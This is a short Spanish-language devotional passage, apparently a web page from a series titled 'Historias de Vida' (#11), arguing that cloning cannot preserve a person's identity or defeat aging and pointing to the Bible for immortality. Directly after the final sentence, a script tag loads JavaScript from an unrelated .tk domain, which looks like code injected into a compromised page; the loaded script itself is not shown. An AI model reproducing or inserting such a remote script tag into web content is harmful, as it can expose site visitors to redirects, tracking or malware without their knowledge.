La idea de reproducir una copia al carbón de nosotros mismos, por atractiva que parezca, no puede resolver nuestro problema de vejez ni nuestro aporte a las generaciones futuras. Incluso, si se clonara un ser idéntico a mí, éste no sería yo, ni tendría mi identidad. Somos individuos únicos. Y según la Biblia, sólo tenemos una manera de extendernos hacia la inmortalidad y la juventud eterna.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#11